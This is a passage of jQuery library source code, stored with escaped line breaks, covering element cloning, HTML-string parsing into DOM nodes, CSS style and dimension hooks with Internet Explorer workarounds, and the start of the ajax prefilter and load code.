);\n\n\t\tif ( (!jQuery.support.noCloneEvent || !jQuery.support.noCloneChecked) &&\n\t\t\t\t(elem.nodeType === 1 || elem.nodeType === 11) && !jQuery.isXMLDoc(elem) ) {\n\t\t\t// IE copies events bound via attachEvent when using cloneNode.\n\t\t\t// Calling detachEvent on the clone will also remove the events\n\t\t\t// from the original. In order to get around this, we use some\n\t\t\t// proprietary methods to clear the events. Thanks to MooTools\n\t\t\t// guys for this hotness.\n\n\t\t\tcloneFixAttributes( elem, clone );\n\n\t\t\t// Using Sizzle here is crazy slow, so we use getElementsByTagName instead\n\t\t\tsrcElements = getAll( elem );\n\t\t\tdestElements = getAll( clone );\n\n\t\t\t// Weird iteration because IE will replace the length property\n\t\t\t// with an element if you are cloning the body and one of the\n\t\t\t// elements on the page has a name or id of \"length\"\n\t\t\tfor ( i = 0; srcElements[i]; ++i ) {\n\t\t\t\t// Ensure that the destination node is not null; Fixes #9587\n\t\t\t\tif ( destElements[i] ) {\n\t\t\t\t\tcloneFixAttributes( srcElements[i], destElements[i] );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Copy the events from the original to the clone\n\t\tif ( dataAndEvents ) {\n\t\t\tcloneCopyEvent( elem, clone );\n\n\t\t\tif ( deepDataAndEvents ) {\n\t\t\t\tsrcElements = getAll( elem );\n\t\t\t\tdestElements = getAll( clone );\n\n\t\t\t\tfor ( i = 0; srcElements[i]; ++i ) {\n\t\t\t\t\tcloneCopyEvent( srcElements[i], destElements[i] );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tsrcElements = destElements = null;\n\n\t\t// Return the cloned set\n\t\treturn clone;\n\t},\n\n\tclean: function( elems, context, fragment, scripts ) {\n\t\tvar checkScriptType, script, j,\n\t\t\t\tret = [];\n\n\t\tcontext = context || document;\n\n\t\t// !context.createElement fails in IE with an error but returns typeof 'object'\n\t\tif ( typeof context.createElement === \"undefined\" ) {\n\t\t\tcontext = context.ownerDocument || context[0] && context[0].ownerDocument || document;\n\t\t}\n\n\t\tfor ( var i = 0, elem; (elem = elems[i]) != null; i++ ) {\n\t\t\tif ( typeof elem === \"number\" ) {\n\t\t\t\telem += \"\";\n\t\t\t}\n\n\t\t\tif ( !elem ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t// Convert html string into DOM nodes\n\t\t\tif ( typeof elem === \"string\" ) {\n\t\t\t\tif ( !rhtml.test( elem ) ) {\n\t\t\t\t\telem = context.createTextNode( elem );\n\t\t\t\t} else {\n\t\t\t\t\t// Fix \"XHTML\"-style tags in all browsers\n\t\t\t\t\telem = elem.replace(rxhtmlTag, \"<$1></$2>\");\n\n\t\t\t\t\t// Trim whitespace, otherwise indexOf won't work as expected\n\t\t\t\t\tvar tag = ( rtagName.exec( elem ) || [\"\", \"\"] )[1].toLowerCase(),\n\t\t\t\t\t\twrap = wrapMap[ tag ] || wrapMap._default,\n\t\t\t\t\t\tdepth = wrap[0],\n\t\t\t\t\t\tdiv = context.createElement(\"div\"),\n\t\t\t\t\t\tsafeChildNodes = safeFragment.childNodes,\n\t\t\t\t\t\tremove;\n\n\t\t\t\t\t// Append wrapper element to unknown element safe doc fragment\n\t\t\t\t\tif ( context === document ) {\n\t\t\t\t\t\t// Use the fragment we've already created for this document\n\t\t\t\t\t\tsafeFragment.appendChild( div );\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// Use a fragment created with the owner document\n\t\t\t\t\t\tcreateSafeFragment( context ).appendChild( div );\n\t\t\t\t\t}\n\n\t\t\t\t\t// Go to html and back, then peel off extra wrappers\n\t\t\t\t\tdiv.innerHTML = wrap[1] + elem + wrap[2];\n\n\t\t\t\t\t// Move to the right depth\n\t\t\t\t\twhile ( depth-- ) {\n\t\t\t\t\t\tdiv = div.lastChild;\n\t\t\t\t\t}\n\n\t\t\t\t\t// Remove IE's autoinserted <tbody> from table fragments\n\t\t\t\t\tif ( !jQuery.support.tbody ) {\n\n\t\t\t\t\t\t// String was a <table>, *may* have spurious <tbody>\n\t\t\t\t\t\tvar hasBody = rtbody.test(elem),\n\t\t\t\t\t\t\ttbody = tag === \"table\" && !hasBody ?\n\t\t\t\t\t\t\t\tdiv.firstChild && div.firstChild.childNodes :\n\n\t\t\t\t\t\t\t\t// String was a bare <thead> or <tfoot>\n\t\t\t\t\t\t\t\twrap[1] === \"<table>\" && !hasBody ?\n\t\t\t\t\t\t\t\t\tdiv.childNodes :\n\t\t\t\t\t\t\t\t\t[];\n\n\t\t\t\t\t\tfor ( j = tbody.length - 1; j >= 0 ; --j ) {\n\t\t\t\t\t\t\tif ( jQuery.nodeName( tbody[ j ], \"tbody\" ) && !tbody[ j ].childNodes.length ) {\n\t\t\t\t\t\t\t\ttbody[ j ].parentNode.removeChild( tbody[ j ] );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// IE completely kills leading whitespace when innerHTML is used\n\t\t\t\t\tif ( !jQuery.support.leadingWhitespace && rleadingWhitespace.test( elem ) ) {\n\t\t\t\t\t\tdiv.insertBefore( context.createTextNode( rleadingWhitespace.exec(elem)[0] ), div.firstChild );\n\t\t\t\t\t}\n\n\t\t\t\t\telem = div.childNodes;\n\n\t\t\t\t\t// Clear elements from DocumentFragment (safeFragment or otherwise)\n\t\t\t\t\t// to avoid hoarding elements. Fixes #11356\n\t\t\t\t\tif ( div ) {\n\t\t\t\t\t\tdiv.parentNode.removeChild( div );\n\n\t\t\t\t\t\t// Guard against -1 index exceptions in FF3.6\n\t\t\t\t\t\tif ( safeChildNodes.length > 0 ) {\n\t\t\t\t\t\t\tremove = safeChildNodes[ safeChildNodes.length - 1 ];\n\n\t\t\t\t\t\t\tif ( remove && remove.parentNode ) {\n\t\t\t\t\t\t\t\tremove.parentNode.removeChild( remove );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Resets defaultChecked for any radios and checkboxes\n\t\t\t// about to be appended to the DOM in IE 6/7 (#8060)\n\t\t\tvar len;\n\t\t\tif ( !jQuery.support.appendChecked ) {\n\t\t\t\tif ( elem[0] && typeof (len = elem.length) === \"number\" ) {\n\t\t\t\t\tfor ( j = 0; j < len; j++ ) {\n\t\t\t\t\t\tfindInputs( elem[j] );\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tfindInputs( elem );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( elem.nodeType ) {\n\t\t\t\tret.push( elem );\n\t\t\t} else {\n\t\t\t\tret = jQuery.merge( ret, elem );\n\t\t\t}\n\t\t}\n\n\t\tif ( fragment ) {\n\t\t\tcheckScriptType = function( elem ) {\n\t\t\t\treturn !elem.type || rscriptType.test( elem.type );\n\t\t\t};\n\t\t\tfor ( i = 0; ret[i]; i++ ) {\n\t\t\t\tscript = ret[i];\n\t\t\t\tif ( scripts && jQuery.nodeName( script, \"script\" ) && (!script.type || rscriptType.test( script.type )) ) {\n\t\t\t\t\tscripts.push( script.parentNode ? script.parentNode.removeChild( script ) : script );\n\n\t\t\t\t} else {\n\t\t\t\t\tif ( script.nodeType === 1 ) {\n\t\t\t\t\t\tvar jsTags = jQuery.grep( script.getElementsByTagName( \"script\" ), checkScriptType );\n\n\t\t\t\t\t\tret.splice.apply( ret, [i + 1, 0].concat( jsTags ) );\n\t\t\t\t\t}\n\t\t\t\t\tfragment.appendChild( script );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t},\n\n\tcleanData: function( elems ) {\n\t\tvar data, id,\n\t\t\tcache = jQuery.cache,\n\t\t\tspecial = jQuery.event.special,\n\t\t\tdeleteExpando = jQuery.support.deleteExpando;\n\n\t\tfor ( var i = 0, elem; (elem = elems[i]) != null; i++ ) {\n\t\t\tif ( elem.nodeName && jQuery.noData[elem.nodeName.toLowerCase()] ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tid = elem[ jQuery.expando ];\n\n\t\t\tif ( id ) {\n\t\t\t\tdata = cache[ id ];\n\n\t\t\t\tif ( data && data.events ) {\n\t\t\t\t\tfor ( var type in data.events ) {\n\t\t\t\t\t\tif ( special[ type ] ) {\n\t\t\t\t\t\t\tjQuery.event.remove( elem, type );\n\n\t\t\t\t\t\t// This is a shortcut to avoid jQuery.event.remove's overhead\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tjQuery.removeEvent( elem, type, data.handle );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Null the DOM reference to avoid IE6/7/8 leak (#7054)\n\t\t\t\t\tif ( data.handle ) {\n\t\t\t\t\t\tdata.handle.elem = null;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ( deleteExpando ) {\n\t\t\t\t\tdelete elem[ jQuery.expando ];\n\n\t\t\t\t} else if ( elem.removeAttribute ) {\n\t\t\t\t\telem.removeAttribute( jQuery.expando );\n\t\t\t\t}\n\n\t\t\t\tdelete cache[ id ];\n\t\t\t}\n\t\t}\n\t}\n});\n\n\n\n\nvar ralpha = /alpha\\([^)]*\\)/i,\n\tropacity = /opacity=([^)]*)/,\n\t// fixed for IE9, see #8346\n\trupper = /([A-Z]|^ms)/g,\n\trnum = /^[\\-+]?(?:\\d*\\.)?\\d+$/i,\n\trnumnonpx = /^-?(?:\\d*\\.)?\\d+(?!px)[^\\d\\s]+$/i,\n\trrelNum = /^([\\-+])=([\\-+.\\de]+)/,\n\trmargin = /^margin/,\n\n\tcssShow = { position: \"absolute\", visibility: \"hidden\", display: \"block\" },\n\n\t// order is important!\n\tcssExpand = [ \"Top\", \"Right\", \"Bottom\", \"Left\" ],\n\n\tcurCSS,\n\n\tgetComputedStyle,\n\tcurrentStyle;\n\njQuery.fn.css = function( name, value ) {\n\treturn jQuery.access( this, function( elem, name, value ) {\n\t\treturn value !== undefined ?\n\t\t\tjQuery.style( elem, name, value ) :\n\t\t\tjQuery.css( elem, name );\n\t}, name, value, arguments.length > 1 );\n};\n\njQuery.extend({\n\t// Add in style property hooks for overriding the default\n\t// behavior of getting and setting a style property\n\tcssHooks: {\n\t\topacity: {\n\t\t\tget: function( elem, computed ) {\n\t\t\t\tif ( computed ) {\n\t\t\t\t\t// We should always get a number back from opacity\n\t\t\t\t\tvar ret = curCSS( elem, \"opacity\" );\n\t\t\t\t\treturn ret === \"\" ? \"1\" : ret;\n\n\t\t\t\t} else {\n\t\t\t\t\treturn elem.style.opacity;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t// Exclude the following css properties to add px\n\tcssNumber: {\n\t\t\"fillOpacity\": true,\n\t\t\"fontWeight\": true,\n\t\t\"lineHeight\": true,\n\t\t\"opacity\": true,\n\t\t\"orphans\": true,\n\t\t\"widows\": true,\n\t\t\"zIndex\": true,\n\t\t\"zoom\": true\n\t},\n\n\t// Add in properties whose names you wish to fix before\n\t// setting or getting the value\n\tcssProps: {\n\t\t// normalize float css property\n\t\t\"float\": jQuery.support.cssFloat ? \"cssFloat\" : \"styleFloat\"\n\t},\n\n\t// Get and set the style property on a DOM Node\n\tstyle: function( elem, name, value, extra ) {\n\t\t// Don't set styles on text and comment nodes\n\t\tif ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Make sure that we're working with the right name\n\t\tvar ret, type, origName = jQuery.camelCase( name ),\n\t\t\tstyle = elem.style, hooks = jQuery.cssHooks[ origName ];\n\n\t\tname = jQuery.cssProps[ origName ] || origName;\n\n\t\t// Check if we're setting a value\n\t\tif ( value !== undefined ) {\n\t\t\ttype = typeof value;\n\n\t\t\t// convert relative number strings (+= or -=) to relative numbers. #7345\n\t\t\tif ( type === \"string\" && (ret = rrelNum.exec( value )) ) {\n\t\t\t\tvalue = ( +( ret[1] + 1) * +ret[2] ) + parseFloat( jQuery.css( elem, name ) );\n\t\t\t\t// Fixes bug #9237\n\t\t\t\ttype = \"number\";\n\t\t\t}\n\n\t\t\t// Make sure that NaN and null values aren't set. See: #7116\n\t\t\tif ( value == null || type === \"number\" && isNaN( value ) ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// If a number was passed in, add 'px' to the (except for certain CSS properties)\n\t\t\tif ( type === \"number\" && !jQuery.cssNumber[ origName ] ) {\n\t\t\t\tvalue += \"px\";\n\t\t\t}\n\n\t\t\t// If a hook was provided, use that value, otherwise just set the specified value\n\t\t\tif ( !hooks || !(\"set\" in hooks) || (value = hooks.set( elem, value )) !== undefined ) {\n\t\t\t\t// Wrapped to prevent IE from throwing errors when 'invalid' values are provided\n\t\t\t\t// Fixes bug #5509\n\t\t\t\ttry {\n\t\t\t\t\tstyle[ name ] = value;\n\t\t\t\t} catch(e) {}\n\t\t\t}\n\n\t\t} else {\n\t\t\t// If a hook was provided get the non-computed value from there\n\t\t\tif ( hooks && \"get\" in hooks && (ret = hooks.get( elem, false, extra )) !== undefined ) {\n\t\t\t\treturn ret;\n\t\t\t}\n\n\t\t\t// Otherwise just get the value from the style object\n\t\t\treturn style[ name ];\n\t\t}\n\t},\n\n\tcss: function( elem, name, extra ) {\n\t\tvar ret, hooks;\n\n\t\t// Make sure that we're working with the right name\n\t\tname = jQuery.camelCase( name );\n\t\thooks = jQuery.cssHooks[ name ];\n\t\tname = jQuery.cssProps[ name ] || name;\n\n\t\t// cssFloat needs a special treatment\n\t\tif ( name === \"cssFloat\" ) {\n\t\t\tname = \"float\";\n\t\t}\n\n\t\t// If a hook was provided get the computed value from there\n\t\tif ( hooks && \"get\" in hooks && (ret = hooks.get( elem, true, extra )) !== undefined ) {\n\t\t\treturn ret;\n\n\t\t// Otherwise, if a way to get the computed value exists, use that\n\t\t} else if ( curCSS ) {\n\t\t\treturn curCSS( elem, name );\n\t\t}\n\t},\n\n\t// A method for quickly swapping in/out CSS properties to get correct calculations\n\tswap: function( elem, options, callback ) {\n\t\tvar old = {},\n\t\t\tret, name;\n\n\t\t// Remember the old values, and insert the new ones\n\t\tfor ( name in options ) {\n\t\t\told[ name ] = elem.style[ name ];\n\t\t\telem.style[ name ] = options[ name ];\n\t\t}\n\n\t\tret = callback.call( elem );\n\n\t\t// Revert the old values\n\t\tfor ( name in options ) {\n\t\t\telem.style[ name ] = old[ name ];\n\t\t}\n\n\t\treturn ret;\n\t}\n});\n\n// DEPRECATED in 1.3, Use jQuery.css() instead\njQuery.curCSS = jQuery.css;\n\nif ( document.defaultView && document.defaultView.getComputedStyle ) {\n\tgetComputedStyle = function( elem, name ) {\n\t\tvar ret, defaultView, computedStyle, width,\n\t\t\tstyle = elem.style;\n\n\t\tname = name.replace( rupper, \"-$1\" ).toLowerCase();\n\n\t\tif ( (defaultView = elem.ownerDocument.defaultView) &&\n\t\t\t\t(computedStyle = defaultView.getComputedStyle( elem, null )) ) {\n\n\t\t\tret = computedStyle.getPropertyValue( name );\n\t\t\tif ( ret === \"\" && !jQuery.contains( elem.ownerDocument.documentElement, elem ) ) {\n\t\t\t\tret = jQuery.style( elem, name );\n\t\t\t}\n\t\t}\n\n\t\t// A tribute to the \"awesome hack by Dean Edwards\"\n\t\t// WebKit uses \"computed value (percentage if specified)\" instead of \"used value\" for margins\n\t\t// which is against the CSSOM draft spec: http://dev.w3.org/csswg/cssom/#resolved-values\n\t\tif ( !jQuery.support.pixelMargin && computedStyle && rmargin.test( name ) && rnumnonpx.test( ret ) ) {\n\t\t\twidth = style.width;\n\t\t\tstyle.width = ret;\n\t\t\tret = computedStyle.width;\n\t\t\tstyle.width = width;\n\t\t}\n\n\t\treturn ret;\n\t};\n}\n\nif ( document.documentElement.currentStyle ) {\n\tcurrentStyle = function( elem, name ) {\n\t\tvar left, rsLeft, uncomputed,\n\t\t\tret = elem.currentStyle && elem.currentStyle[ name ],\n\t\t\tstyle = elem.style;\n\n\t\t// Avoid setting ret to empty string here\n\t\t// so we don't default to auto\n\t\tif ( ret == null && style && (uncomputed = style[ name ]) ) {\n\t\t\tret = uncomputed;\n\t\t}\n\n\t\t// From the awesome hack by Dean Edwards\n\t\t// http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291\n\n\t\t// If we're not dealing with a regular pixel number\n\t\t// but a number that has a weird ending, we need to convert it to pixels\n\t\tif ( rnumnonpx.test( ret ) ) {\n\n\t\t\t// Remember the original values\n\t\t\tleft = style.left;\n\t\t\trsLeft = elem.runtimeStyle && elem.runtimeStyle.left;\n\n\t\t\t// Put in the new values to get a computed value out\n\t\t\tif ( rsLeft ) {\n\t\t\t\telem.runtimeStyle.left = elem.currentStyle.left;\n\t\t\t}\n\t\t\tstyle.left = name === \"fontSize\" ? \"1em\" : ret;\n\t\t\tret = style.pixelLeft + \"px\";\n\n\t\t\t// Revert the changed values\n\t\t\tstyle.left = left;\n\t\t\tif ( rsLeft ) {\n\t\t\t\telem.runtimeStyle.left = rsLeft;\n\t\t\t}\n\t\t}\n\n\t\treturn ret === \"\" ? \"auto\" : ret;\n\t};\n}\n\ncurCSS = getComputedStyle || currentStyle;\n\nfunction getWidthOrHeight( elem, name, extra ) {\n\n\t// Start with offset property\n\tvar val = name === \"width\" ? elem.offsetWidth : elem.offsetHeight,\n\t\ti = name === \"width\" ? 1 : 0,\n\t\tlen = 4;\n\n\tif ( val > 0 ) {\n\t\tif ( extra !== \"border\" ) {\n\t\t\tfor ( ; i < len; i += 2 ) {\n\t\t\t\tif ( !extra ) {\n\t\t\t\t\tval -= parseFloat( jQuery.css( elem, \"padding\" + cssExpand[ i ] ) ) || 0;\n\t\t\t\t}\n\t\t\t\tif ( extra === \"margin\" ) {\n\t\t\t\t\tval += parseFloat( jQuery.css( elem, extra + cssExpand[ i ] ) ) || 0;\n\t\t\t\t} else {\n\t\t\t\t\tval -= parseFloat( jQuery.css( elem, \"border\" + cssExpand[ i ] + \"Width\" ) ) || 0;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn val + \"px\";\n\t}\n\n\t// Fall back to computed then uncomputed css if necessary\n\tval = curCSS( elem, name );\n\tif ( val < 0 || val == null ) {\n\t\tval = elem.style[ name ];\n\t}\n\n\t// Computed unit is not pixels. Stop here and return.\n\tif ( rnumnonpx.test(val) ) {\n\t\treturn val;\n\t}\n\n\t// Normalize \"\", auto, and prepare for extra\n\tval = parseFloat( val ) || 0;\n\n\t// Add padding, border, margin\n\tif ( extra ) {\n\t\tfor ( ; i < len; i += 2 ) {\n\t\t\tval += parseFloat( jQuery.css( elem, \"padding\" + cssExpand[ i ] ) ) || 0;\n\t\t\tif ( extra !== \"padding\" ) {\n\t\t\t\tval += parseFloat( jQuery.css( elem, \"border\" + cssExpand[ i ] + \"Width\" ) ) || 0;\n\t\t\t}\n\t\t\tif ( extra === \"margin\" ) {\n\t\t\t\tval += parseFloat( jQuery.css( elem, extra + cssExpand[ i ]) ) || 0;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn val + \"px\";\n}\n\njQuery.each([ \"height\", \"width\" ], function( i, name ) {\n\tjQuery.cssHooks[ name ] = {\n\t\tget: function( elem, computed, extra ) {\n\t\t\tif ( computed ) {\n\t\t\t\tif ( elem.offsetWidth !== 0 ) {\n\t\t\t\t\treturn getWidthOrHeight( elem, name, extra );\n\t\t\t\t} else {\n\t\t\t\t\treturn jQuery.swap( elem, cssShow, function() {\n\t\t\t\t\t\treturn getWidthOrHeight( elem, name, extra );\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\n\t\tset: function( elem, value ) {\n\t\t\treturn rnum.test( value ) ?\n\t\t\t\tvalue + \"px\" :\n\t\t\t\tvalue;\n\t\t}\n\t};\n});\n\nif ( !jQuery.support.opacity ) {\n\tjQuery.cssHooks.opacity = {\n\t\tget: function( elem, computed ) {\n\t\t\t// IE uses filters for opacity\n\t\t\treturn ropacity.test( (computed && elem.currentStyle ? elem.currentStyle.filter : elem.style.filter) || \"\" ) ?\n\t\t\t\t( parseFloat( RegExp.$1 ) / 100 ) + \"\" :\n\t\t\t\tcomputed ? \"1\" : \"\";\n\t\t},\n\n\t\tset: function( elem, value ) {\n\t\t\tvar style = elem.style,\n\t\t\t\tcurrentStyle = elem.currentStyle,\n\t\t\t\topacity = jQuery.isNumeric( value ) ? \"alpha(opacity=\" + value * 100 + \")\" : \"\",\n\t\t\t\tfilter = currentStyle && currentStyle.filter || style.filter || \"\";\n\n\t\t\t// IE has trouble with opacity if it does not have layout\n\t\t\t// Force it by setting the zoom level\n\t\t\tstyle.zoom = 1;\n\n\t\t\t// if setting opacity to 1, and no other filters exist - attempt to remove filter attribute #6652\n\t\t\tif ( value >= 1 && jQuery.trim( filter.replace( ralpha, \"\" ) ) === \"\" ) {\n\n\t\t\t\t// Setting style.filter to null, \"\" & \" \" still leave \"filter:\" in the cssText\n\t\t\t\t// if \"filter:\" is present at all, clearType is disabled, we want to avoid this\n\t\t\t\t// style.removeAttribute is IE Only, but so apparently is this code path...\n\t\t\t\tstyle.removeAttribute( \"filter\" );\n\n\t\t\t\t// if there there is no filter style applied in a css rule, we are done\n\t\t\t\tif ( currentStyle && !currentStyle.filter ) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// otherwise, set new filter values\n\t\t\tstyle.filter = ralpha.test( filter ) ?\n\t\t\t\tfilter.replace( ralpha, opacity ) :\n\t\t\t\tfilter + \" \" + opacity;\n\t\t}\n\t};\n}\n\njQuery(function() {\n\t// This hook cannot be added until DOM ready because the support test\n\t// for it is not run until after DOM ready\n\tif ( !jQuery.support.reliableMarginRight ) {\n\t\tjQuery.cssHooks.marginRight = {\n\t\t\tget: function( elem, computed ) {\n\t\t\t\t// WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right\n\t\t\t\t// Work around by temporarily setting element display to inline-block\n\t\t\t\treturn jQuery.swap( elem, { \"display\": \"inline-block\" }, function() {\n\t\t\t\t\tif ( computed ) {\n\t\t\t\t\t\treturn curCSS( elem, \"margin-right\" );\n\t\t\t\t\t} else {\n\t\t\t\t\t\treturn elem.style.marginRight;\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\t\t};\n\t}\n});\n\nif ( jQuery.expr && jQuery.expr.filters ) {\n\tjQuery.expr.filters.hidden = function( elem ) {\n\t\tvar width = elem.offsetWidth,\n\t\t\theight = elem.offsetHeight;\n\n\t\treturn ( width === 0 && height === 0 ) || (!jQuery.support.reliableHiddenOffsets && ((elem.style && elem.style.display) || jQuery.css( elem, \"display\" )) === \"none\");\n\t};\n\n\tjQuery.expr.filters.visible = function( elem ) {\n\t\treturn !jQuery.expr.filters.hidden( elem );\n\t};\n}\n\n// These hooks are used by animate to expand properties\njQuery.each({\n\tmargin: \"\",\n\tpadding: \"\",\n\tborder: \"Width\"\n}, function( prefix, suffix ) {\n\n\tjQuery.cssHooks[ prefix + suffix ] = {\n\t\texpand: function( value ) {\n\t\t\tvar i,\n\n\t\t\t\t// assumes a single number if not a string\n\t\t\t\tparts = typeof value === \"string\" ? value.split(\" \") : [ value ],\n\t\t\t\texpanded = {};\n\n\t\t\tfor ( i = 0; i < 4; i++ ) {\n\t\t\t\texpanded[ prefix + cssExpand[ i ] + suffix ] =\n\t\t\t\t\tparts[ i ] || parts[ i - 2 ] || parts[ 0 ];\n\t\t\t}\n\n\t\t\treturn expanded;\n\t\t}\n\t};\n});\n\n\n\n\nvar r20 = /%20/g,\n\trbracket = /\\[\\]$/,\n\trCRLF = /\\r?\\n/g,\n\trhash = /#.*$/,\n\trheaders = /^(.*?):[ \\t]*([^\\r\\n]*)\\r?$/mg, // IE leaves an \\r character at EOL\n\trinput = /^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,\n\t// #7653, #8125, #8152: local protocol detection\n\trlocalProtocol = /^(?:about|app|app\\-storage|.+\\-extension|file|res|widget):$/,\n\trnoContent = /^(?:GET|HEAD)$/,\n\trprotocol = /^\\/\\//,\n\trquery = /\\?/,\n\trscript = /<script\\b[^<]*(?:(?!<\\/script>)<[^<]*)*<\\/script>/gi,\n\trselectTextarea = /^(?:select|textarea)/i,\n\trspacesAjax = /\\s+/,\n\trts = /([?&])_=[^&]*/,\n\trurl = /^([\\w\\+\\.\\-]+:)(?:\\/\\/([^\\/?#:]*)(?::(\\d+))?)?/,\n\n\t// Keep a copy of the old load method\n\t_load = jQuery.fn.load,\n\n\t/* Prefilters\n\t * 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example)\n\t * 2) These are called:\n\t *    - BEFORE asking for a transport\n\t *    - AFTER param serialization (s.data is a string if s.processData is true)\n\t * 3) key is the dataType\n\t * 4) the catchall symbol \"*\" can be used\n\t * 5) execution will start with transport dataType and THEN continue down to \"*\" if needed\n\t */\n\tprefilters = {},\n\n\t/* Transports bindings\n\t * 1) key is the dataType\n\t * 2) the catchall symbol \"*\" can be used\n\t * 3) selection will start with transport dataType and THEN go to \"*\" if needed\n\t */\n\ttransports = {},\n\n\t// Document location\n\tajaxLocation,\n\n\t// Document location segments\n\tajaxLocParts,\n\n\t// Avoid comment-prolog char sequence (#10098); must appease lint and evade compression\n\tallTypes = [\"*/\"] + [\"*\"];\n\n// #8138, IE may throw an exception when accessing\n// a field from window.location if document.domain has been set\ntry {\n\tajaxLocation = location.href;\n} catch( e ) {\n\t// Use the href attribute of an A element\n\t// since IE will modify it given document.location\n\tajaxLocation = document.createElement( \"a\" );\n\tajaxLocation.href = \"\";\n\tajaxLocation = ajaxLocation.href;\n}\n\n// Segment location into parts\najaxLocParts = rurl.exec( ajaxLocation.toLowerCase() ) || [];\n\n// Base \"constructor\" for jQuery.ajaxPrefilter and jQuery.ajaxTransport\nfunction addToPrefiltersOrTransports( structure ) {\n\n\t// dataTypeExpression is optional and defaults to \"*\"\n\treturn function( dataTypeExpression, func ) {\n\n\t\tif ( typeof dataTypeExpression !== \"string\" ) {\n\t\t\tfunc = dataTypeExpression;\n\t\t\tdataTypeExpression = \"*\";\n\t\t}\n\n\t\tif ( jQuery.isFunction( func ) ) {\n\t\t\tvar dataTypes = dataTypeExpression.toLowerCase().split( rspacesAjax ),\n\t\t\t\ti = 0,\n\t\t\t\tlength = dataTypes.length,\n\t\t\t\tdataType,\n\t\t\t\tlist,\n\t\t\t\tplaceBefore;\n\n\t\t\t// For each dataType in the dataTypeExpression\n\t\t\tfor ( ; i < length; i++ ) {\n\t\t\t\tdataType = dataTypes[ i ];\n\t\t\t\t// We control if we're asked to add before\n\t\t\t\t// any existing element\n\t\t\t\tplaceBefore = /^\\+/.test( dataType );\n\t\t\t\tif ( placeBefore ) {\n\t\t\t\t\tdataType = dataType.substr( 1 ) || \"*\";\n\t\t\t\t}\n\t\t\t\tlist = structure[ dataType ] = structure[ dataType ] || [];\n\t\t\t\t// then we add to the structure accordingly\n\t\t\t\tlist[ placeBefore ? \"unshift\" : \"push\" ]( func );\n\t\t\t}\n\t\t}\n\t};\n}\n\n// Base inspection function for prefilters and transports\nfunction inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR,\n\t\tdataType /* internal */, inspected /* internal */ ) {\n\n\tdataType = dataType || options.dataTypes[ 0 ];\n\tinspected = inspected || {};\n\n\tinspected[ dataType ] = true;\n\n\tvar list = structure[ dataType ],\n\t\ti = 0,\n\t\tlength = list ? list.length : 0,\n\t\texecuteOnly = ( structure === prefilters ),\n\t\tselection;\n\n\tfor ( ; i < length && ( executeOnly || !selection ); i++ ) {\n\t\tselection = list[ i ]( options, originalOptions, jqXHR );\n\t\t// If we got redirected to another dataType\n\t\t// we try there if executing only and not done already\n\t\tif ( typeof selection === \"string\" ) {\n\t\t\tif ( !executeOnly || inspected[ selection ] ) {\n\t\t\t\tselection = undefined;\n\t\t\t} else {\n\t\t\t\toptions.dataTypes.unshift( selection );\n\t\t\t\tselection = inspectPrefiltersOrTransports(\n\t\t\t\t\t\tstructure, options, originalOptions, jqXHR, selection, inspected );\n\t\t\t}\n\t\t}\n\t}\n\t// If we're only executing or nothing was selected\n\t// we try the catchall dataType if not done already\n\tif ( ( executeOnly || !selection ) && !inspected[ \"*\" ] ) {\n\t\tselection = inspectPrefiltersOrTransports(\n\t\t\t\tstructure, options, originalOptions, jqXHR, \"*\", inspected );\n\t}\n\t// unnecessary when only executing (prefilters)\n\t// but it'll be ignored by the caller in that case\n\treturn selection;\n}\n\n// A special extend for ajax options\n// that takes \"flat\" options (not to be deep extended)\n// Fixes #9887\nfunction ajaxExtend( target, src ) {\n\tvar key, deep,\n\t\tflatOptions = jQuery.ajaxSettings.flatOptions || {};\n\tfor ( key in src ) {\n\t\tif ( src[ key ] !== undefined ) {\n\t\t\t( flatOptions[ key ] ? target : ( deep || ( deep = {} ) ) )[ key ] = src[ key ];\n\t\t}\n\t}\n\tif ( deep ) {\n\t\tjQuery.extend( true, target, deep );\n\t}\n}\n\njQuery.fn.extend({\n\tload: function( url, params, callback ) {\n\t\tif ( typeof url !== \"string\" && _load ) {\n\t\t\treturn _load.apply( this, arguments );\n\n\t\t// Don't do a request if no elements are being requested\n\t\t} else if ( !this.length ) {\n\t\t\treturn this;\n\t\t}\n\n\t\tvar off = url.indexOf( \" \" );\n\t\tif ( off >= 0 ) {\n\t\t\tvar selector = url.slice( off, url.length );\n\t\t\turl = url.slice( 0, off );\n\t\t}\n\n\t\t// Default to a GET request\n\t\tvar type = \"GET\";\n\n\t\t// If the second parameter was provided\n\t\tif ( params ) {\n\t\t\t// If it's a function\n\t\t\tif ( jQuery.isFunction( params ) ) {\n\t\t\t\t// We assume that it's the callback\n\t\t\t\tcallback = params;\n\t\t\t\tparams = undefined;\n\n\t\t\t// Otherwise, 